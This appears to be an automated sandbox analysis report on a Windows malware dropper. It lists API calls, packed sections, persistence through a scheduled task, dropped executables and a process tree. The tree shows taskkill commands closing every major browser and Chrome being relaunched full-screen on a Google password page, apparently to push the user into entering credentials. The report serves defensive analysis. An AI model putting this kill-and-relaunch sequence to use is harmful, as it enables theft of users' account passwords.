Code function: 6_2_00B81201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

6_2_00B81201

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B8E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

6_2_00B8E8F6

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00DAE530	5_2_00DAE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00DE78BB	5_2_00DE78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00DE7049	5_2_00DE7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00DE8860	5_2_00DE8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00DA4DE0	5_2_00DA4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00DE31A8	5_2_00DE31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00DE2D10	5_2_00DE2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00DE779B	5_2_00DE779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00DA4B30	5_2_00DA4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00DD7F36	5_2_00DD7F36
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B28060	6_2_00B28060
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B92046	6_2_00B92046
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B88298	6_2_00B88298
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B5E4FF	6_2_00B5E4FF
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B5676B	6_2_00B5676B
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00BB4873	6_2_00BB4873
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B4CAA0	6_2_00B4CAA0
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B2CAF0	6_2_00B2CAF0
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B3CC39	6_2_00B3CC39
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B56DD9	6_2_00B56DD9
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B291C0	6_2_00B291C0
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B3B119	6_2_00B3B119
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B41394	6_2_00B41394
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B41706	6_2_00B41706
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B4781B	6_2_00B4781B
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B419B0	6_2_00B419B0
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B27920	6_2_00B27920
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B3997D	6_2_00B3997D
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B47A4A	6_2_00B47A4A
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B47CA7	6_2_00B47CA7
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B41C77	6_2_00B41C77
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B59EEE	6_2_00B59EEE
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00BABE44	6_2_00BABE44
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B41F32	6_2_00B41F32

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\num[1].exe 27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: String function: 00B40A30 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: String function: 00B3F9F2 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: String function: 00B845C0 appears 316 times

Source: 8ObkdHP9Hq.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 8ObkdHP9Hq.exe	Static PE information: Section: ZLIB complexity 0.9982065309945504
Source: 8ObkdHP9Hq.exe	Static PE information: Section: hicznzml ZLIB complexity 0.9947466036733454
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982065309945504
Source: skotes.exe.0.dr	Static PE information: Section: hicznzml ZLIB complexity 0.9947466036733454
Source: random[1].exe0.5.dr	Static PE information: Section: ZLIB complexity 0.9994907693894389
Source: random[1].exe0.5.dr	Static PE information: Section: kawjnymv ZLIB complexity 0.9945041232638889
Source: 9d7da53f74.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9994907693894389
Source: 9d7da53f74.exe.5.dr	Static PE information: Section: kawjnymv ZLIB complexity 0.9945041232638889

Source: num.exe, 00000014.00000002.2442234733.0000000000B9E000.00000002.00000001.01000000.0000000C.sdmp, num.exe, 00000014.00000000.2430858736.0000000000B9E000.00000002.00000001.01000000.0000000C.sdmp, num.exe, 0000002C.00000000.2616256029.0000000000B9E000.00000002.00000001.01000000.0000000C.sdmp, num.exe, 0000002C.00000002.2631047820.0000000000B9E000.00000002.00000001.01000000.0000000C.sdmp, num[1].exe.5.dr, num.exe.5.dr

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@201/37@38/12

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B937B5 GetLastError,FormatMessageW,

6_2_00B937B5

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B810BF AdjustTokenPrivileges,CloseHandle,		6_2_00B810BF
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B816C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		6_2_00B816C3

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B951CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

6_2_00B951CD

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00BAA67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

6_2_00BAA67C

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B9648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

6_2_00B9648E

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B242A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

6_2_00B242A2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2380:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7416:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7992:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6636:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8152:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3444:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8056:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4904:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6168:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7920:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8184:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1448:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7196:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7424:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7912:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1732:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8136:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6556:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8120:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4080:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6544:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6448:120:WilError_03

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 8ObkdHP9Hq.exe	ReversingLabs: Detection: 52%
Source: 8ObkdHP9Hq.exe	Virustotal: Detection: 56%

Source: 8ObkdHP9Hq.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 9d7da53f74.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 9d7da53f74.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe

File read: C:\Users\user\Desktop\8ObkdHP9Hq.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\8ObkdHP9Hq.exe "C:\Users\user\Desktop\8ObkdHP9Hq.exe"
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe "C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe"
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000336001\num.exe "C:\Users\user\AppData\Local\Temp\1000336001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe "C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5648 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5808 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe "C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe"
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5800 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1152 --field-trial-handle=2040,i,8769351574913738686,7511269282204500585,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4484 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000336001\num.exe "C:\Users\user\AppData\Local\Temp\1000336001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1992,i,7048868189645442855,15603037541109083957,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
